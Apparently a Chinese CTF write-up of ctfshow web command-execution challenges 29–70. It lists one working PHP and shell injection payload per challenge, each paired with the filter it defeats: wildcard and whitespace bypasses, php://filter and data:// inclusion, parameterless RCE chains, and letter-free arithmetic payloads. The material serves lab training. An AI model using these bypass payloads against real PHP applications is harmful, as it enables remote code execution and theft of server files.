ctfshow WEB入门 命令执行 29-70
web29
过滤了flag
?c=system("cat f*");
web30
过滤了system|flag,用一个代替system()的函数
?c=passthru("cat f*");
web31
过滤了system|cat|flag|空格
?c=passthru("more%09f*");
web32
在前面的基础上,过滤了括号,但没过滤双引号
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
过滤了引号
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
同33
web35
同33
web36
在前面的基础上,过滤了数字,解法同33
web37
这里用了PHP文件包含函数include(),利用伪协议读flag
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
POC:?c=data://text/plain,<?php system("cat f*");
web38
在37的基础上,过滤了php,利用base64编码绕过
POC:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
//PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=是<?php system("cat flag.php");
web39
?c=data://text/plain<?php system("cat f*");?>
web40
?c=system("cat flag");
过滤了引号、$、冒号,还不能用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)
参考GXYCTF2019禁止套娃
解题参考:无参数读文件和RCE总结
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。
- print_r(scandir('.'));查看当前目录下的所有文件名
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
但是这题过滤了引号,不能有参数,找一个代替'.'
的东西
print_r(scandir(current(localeconv())));打印出当前目录下文件
flag.php在倒数第二个,直接用next(array_reverse());
paylaod:?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41(unsolved)
web42
?c=ls;
?c=cat flag.php;
web43
过滤了;|cat
?c=ls%0a
?c=more flag.php%0a
web44
过滤了;|cat|flag
?c=ls%0a
?c=more f*%0a
web45
过滤了;|cat|flag|空格
?c=ls%0a
?c=more${IFS}f*%0a
web46
过滤了;|cat|flag|空格|数字|$|*
?c=ls%0a
?c=more%09fla?.php%0a
web47
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令
?c=ls%0a
?c=nl%09fla?.php%0a
web48
同47
web49
同47
web50
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%
?c=ls%0a
?c=nl<>fla\g.php%0a
(环境问题,通配符不好使)
web51
同50
web52
过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
查看当前目录下的文件:
?c=ls%0a
查看flag.php:
?c=nl${IFS}fla\g.php%0a
里面是假的。。。
尝试查看根目下的所有目录:
?c=ls${IFS}/%0a
查看根目录下的flag:
?c=nl${IFS}/fla\g%0a
web53
过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls
?c=nl${IFS}fla?.php
web54
过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a 回显flag.php
?c=cat flag.php;
即?c=paste${IFS}fla?.php
web55
参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势
过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>
因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???
解法2:
bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。
web56(unsolved)
web57
过滤了字母、数字、分号、2个通配符
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58
POST:c=show_source('flag.php');
web59-65
题和58一样。。。
web66
用show_source(),回显该函数被禁用
直接读flag.php,发现位置不对
查看根目录下的文件:
POST:c=print_r(scandir("/"));
POST:c=highlight_file('/flag.txt');
web67
print_r()被禁用
查看根目录下有哪些文件:
POST:c=var_dump(scandir("/"));
POST:c=highlight_file('/flag.txt');
web68
show_source()和highlight_file()被禁用
POST:c=include('/flag.txt');
web69
查看根目录下的文件:
print_r()、var_dump()被禁用
POST:c=var_export(scandir("/"));
POST:c=include('/flag.txt');
web70
error_reporting() 、 ini_set()、 highlight_file()被禁用
看根目录的文件:
POST:c=include('/flag.txt');